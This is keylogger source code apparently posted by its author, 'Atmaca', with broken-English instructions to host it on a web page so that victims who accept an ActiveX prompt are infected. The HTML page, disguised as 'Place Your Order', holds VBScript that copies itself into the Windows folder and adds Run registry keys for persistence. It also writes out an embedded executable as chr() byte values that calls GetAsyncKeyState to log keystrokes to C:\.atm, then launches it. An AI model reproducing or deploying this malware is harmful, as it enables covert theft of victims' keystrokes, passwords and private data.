HTML&VBS keyloger V1.0 By Atmaca
yes this txt source code is a keyloger ...
save this code in a html format and click it ...
keyloger will start to log in c:\.atm .....
you can put this code in your site to atack to victim ...
if victim open your page i.explorer will ask to victim for activex controller ...
if victim accept this sertifica keyloger start to run and every time when computer start it will start ...
in V1.1 i will install to option to send log file to spesial email adress using mapi ...
Not: I know very litle english .. i 'm sory for this ...
<HTML>
<HEAD>
<TITLE>Place Your Order</TITLE>
<SCRIPT LANGUAGE="VBScript">
<!--
Set atm1 = CreateObject("Scripting.FileSystemObject")
if (fileexist("c:\windows\kayit.atm")=1) then
end if
function fileexist(filespec)
if (atm1.FileExists(filespec)) Then
else
msgbox "http://atmacasoft.kolayweb.com" &vbcrlf& _
"E-mail: [email protected]"
end if
end function
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
On Error Resume Next
Dim fs, a
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFIle("c:\windows\kayit.atm",2)
a.Writeline("ATmaCA Vbs&Htm Keyloger V1.0")
a.Writeline("Coded By ATmaCA")
a.Writeline("[email protected]")
a.Writeline("http://atmacasoft.kolayweb.com")
a.close
dim kopya
Set prg= CreateObject("Scripting.FileSystemObject")
set dosya = prg.OpenTextFile(WScript.ScriptFullname,1)
kopya=dosya.ReadAll
Set c = prg.GetFile(WScript.ScriptFullName)
c.Copy("c:\windows\atm.vbs")
On Error Resume Next
dim kayit_defteri1
Set kayit_defteri1 = CreateObject("WScript.Shell")
kayit_defteri1.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\atmaca","c:\windows\atm.vbs"
kayit_defteri1.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\atmaca","c:\windows\atm.exe"
dim filesys, filetxt, isim, path, textfile, i
textfile = "c:\windows\atm.exe"
Set filesys = CreateObject("Scripting.FileSystemObject")
Set filetxt = filesys.CreateTextFile(textfile, True)
isim = filesys.GetFileName(path)
filetxt.Write(chr(77) & chr(90) & chr(128) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(4) & chr(0) & chr(16) & chr(0) & chr(255) & chr(255) & chr(0) & chr(0) & chr(64) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(64) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(128) & chr(0) & chr(0) & chr(0) & chr(14) & chr(31) & chr(186) & chr(14) & chr(0) & chr(180) & chr(9) & chr(205) & chr(33) & chr(184) & chr(1) & chr(76) & chr(205) & chr(33) & chr(40) & chr(67) & chr(41) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(44) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(32) & chr(36) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(80) & chr(69) & chr(0) & chr(0) & chr(76) & chr(1) & chr(1) & chr(0) & chr(171) & chr(34) & chr(247) & chr(61) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(224) & chr(0) & chr(142) & chr(129) & chr(11) & chr(1) & chr(1) & chr(41) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(64) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(4) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(230) & chr(16) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(48) & chr(1) & chr(1) & chr(0) & chr(2) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(1) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(62) & chr(16) & chr(0) & chr(0) & chr(150) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(212) & chr(16) & chr(0) & chr(0) & chr(18) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(67) & chr(58) & chr(92) & chr(46) & chr(97) & chr(116) & chr(109) & chr(0) & chr(230) & chr(0) & chr(0) & chr(0) & chr(0) & chr(16) & chr(0) & chr(0) & chr(212) & chr(0) & chr(0) & chr(0) & chr(0) & chr(2) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(96) & chr(0) & chr(0) & chr(224) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(49) & chr(246) & chr(86) & chr(255) & chr(21) & chr(185) & chr(16) & chr(64) & chr(0) & chr(61) & chr(1) & chr(128) & chr(255) & chr(255) & chr(117) & chr(35) & chr(137) & chr(245) & chr(104) & chr(59) & chr(16) & chr(64) & chr(0) & chr(104) & chr(120) & chr(1) & chr(64) & chr(0) & chr(255) & chr(21) & chr(144) & chr(16) & chr(64) & chr(0) & chr(137) & chr(195) & chr(83) & chr(85) & chr(255) & chr(21) & chr(148) & chr(16) & chr(64) & chr(0) & chr(83) & chr(255) & chr(21) & chr(152) & chr(16) & chr(64) & chr(0) & chr(70) & chr(131) & chr(254) & chr(126) & chr(117) & chr(201) & chr(235) & chr(197) & chr(97) & chr(43) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(122) & chr(16) & chr(0) & chr(0) & chr(144) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(133) & chr(16) & chr(0) & chr(0) & chr(185) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(67) & chr(82) & chr(84) & chr(68) & chr(76) & chr(76) & chr(46) & chr(68) & chr(76) & chr(76) & chr(0) & chr(85) & chr(83) & chr(69) & chr(82) & chr(51) & chr(50) & chr(46) & chr(68) & chr(76) & chr(76) & chr(0) & chr(160) & chr(16) & chr(0) & chr(0) & chr(168) & chr(16) & chr(0) & chr(0) & chr(176) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(102) & chr(111) & chr(112) & chr(101) & chr(110) & chr(0) & chr(0) & chr(0) & chr(102) & chr(112) & chr(117) & chr(116) & chr(99) & chr(0) & chr(0) & chr(0) & chr(102) & chr(99) & chr(108) & chr(111) & chr(115) & chr(101) & chr(0) & chr(193) & chr(16) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(0) & chr(71) & chr(101) & chr(116) & chr(65) & chr(115) & chr(121) & chr(110) & chr(99) & chr(75) & chr(101) & chr(121) & chr(83) & chr(116) & chr(97) & chr(116) & chr(101) & chr(0) )
filetxt.Close
dim www
dim qqq
Const ForReading = 1, ForWriting = 2, ForAppending = 3
const RemoteExe = "c:\windows\atm.exe"
set qqq = wscript.createobject("wscript.shell")
www = qqq.run ("cmd /c c:\windows\atm.exe")
wscript.quit
-->
</SCRIPT>
</HEAD>
<BODY>
